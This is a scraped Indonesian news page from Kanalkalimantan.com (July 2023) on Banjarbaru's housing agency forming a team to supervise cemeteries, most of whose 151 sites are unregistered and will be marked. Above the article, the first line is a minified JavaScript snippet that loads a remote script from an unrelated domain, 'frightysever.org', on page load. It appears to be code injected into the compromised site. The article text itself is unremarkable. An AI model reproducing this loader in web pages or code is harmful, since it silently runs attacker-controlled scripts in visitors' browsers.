(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Bentuk Tim Pengawasan, Permakaman Tak Terdaftar di Banjarbaru Siap-siap Diberi Tanda


KANALKALIMANTAN.COM, BANJARBARU – Tim pengawas permakaman segera dibentuk Dinas Perumahan dan Permukiman (Disperkim) Kota Banjarbaru.

Tim ini kata Kepala Bidang (Kabid) Sarana dan Utilitas di Disperkim Kota Banjarbaru Anwari Delmi berisi SKPD teknis yang berkaitan dengan operasional permakaman di Kota Banjarbaru, diantaranya Satpol PP, DPMPTSP, Dinas PUPR dan Disperkim Kota Banjarbaru sendiri. Tugasnya lanjut pria yang akrab disapa Avix Kenzo ini, untuk mengawasi aktivitas lahan permakaman di Ibu Kota Provinsi Kalimantan Selatan ini.

“Dalam waktu dekat akan kami konsultasikan pembentukan tim ini ke pimpinan (Wali Kota),” ujar Avix, Sabtu (22/7/2023).

Avix melanjutkan, pembentukan tim pengawasan ini memiliki landasan hukum yakni Peraturan Daerah (Perda) Nomor 10 tahun 2018 tentang pengelolaan permakaman.

“Di dalam Perda itu sudah diatur terkait tim pengawasan ini,” sebutnya.

Lebih jauh Avix membeberkan bahwa saat ini masih banyak pengelola permakaman yang belum memiliki izin operasional. Dari 151 lahan permakaman yang tersebar di lima kecamatan, baru segelintir saja yang sudah mulai mengurus perizinan ke Disperkim. Kondisi itu diperparah dengan masih adanya kavling yang ditawarkan permakaman komersial yang baru buka.

“Sementara 151 lahan permakaman yang sudah ada belum terisi maksimal,” ucapnya.

Hal tersebut kata Avix, menjadi pekerjaan rumah (PR) tambahan dalam hal penataan kawasan permakaman, lantaran hingga saat ini pihak Disperkim sendiri masih dalam proses pendataan lahan makam. Padahal hal tersebut sudah diatur dalam Peraturan Wali Kota (Perwali) Nomor 25 tahun 2023 yang resmi ditetapkan per 28 Maret 2023 lalu.

“Hanya beberapa saja yang sudah mendaftar, makanya kami harus kerja ekstra dengan pola jemput bola ke lapangan, mengarahkan para pengelola makam untuk segera mengurus perizinannya,” cetusnya.

Lalu, dari sejumlah pengelola makam yang sudah mendaftar, belum ada satupun yang sudah mengantongi izin pemakaman dari Disperkim.

“Pengajuan izin yang sudah masuk itu harus kami verifikasi kembali, apakah lahan tersebut sudah layak atau tidak untuk dijadikan tempat pemakaman,” tukasnya.

Tim pengawasan yang bakal dibentuk itulah sebutnya, yang nantinya akan memverifikasi lahan permakaman yang sudah mendaftarkan ke Disperkim. Jika pengelola makam mengabaikan aturan terkait lahan permakaman ini tegas Avix, maka pihaknya tidak akan segan menjatuhkan sanksi kepada lahan makam yang bersangkutan.

“Jika pengelola makam tidak mengindahkan aturan ini, maka akan kami pasang tanda bahwa lahan permakaman itu belum didaftarkan ke Disperkim,” tegas Avix.

Karena itu, pihaknya mengingatkan masyarakat agar lebih cerdas dan teliti untuk membeli kavling permakaman. Sebab saat ini setiap lahan permakaman diharuskan mendaftarkan permakamannya ke Disperkim Kota Banjarbaru.

“Jangan sampai masyarakat sudah terlanjur membeli kavling permakaman, ternyata permakaman tersebut belum melakukan pendaftaran ke Disperkim,” tuntasnya.

Diwawancarai terpisah di sela acara pembukaan Bazar Ekonomi Kreatif UMKM MTQ XXXIV tingkat Kalsel, Wali Kota Banjarbaru Aditya Mufti Ariffin mengatakan bahwa pemerintah akan menggunakan jaksa sebagai pengacara negara untuk menagih, apabila pengusaha atau pengembang permakaman mengabaikan peraturan yang ada.

“Tahun depan akan didata dan pasti akan ditagih, sanksinya sampai pidana. Jadi itu termasuk kerugian daerah apabila tidak dilaksanakan,” tukasnya. (Kanalkalimantan.com/al)


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

18 menit ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

30 menit ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

35 menit ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

47 menit ago

Dua APILL Disiapkan, Atasi Kemacetan di Panglima Batur Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menggelar ekspose pembangunan Area Traffic Control System (ATCS)… Read More

4 jam ago

Dua Bapaslon Jalur Non Partai Serahkan Syarat Dukungan ke KPU Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Detik-detik terakhir penutupan penyerahan syarat dukungan bakal pasangan calon (Bapaslon) Wali Kota… Read More

4 jam ago

This website uses cookies.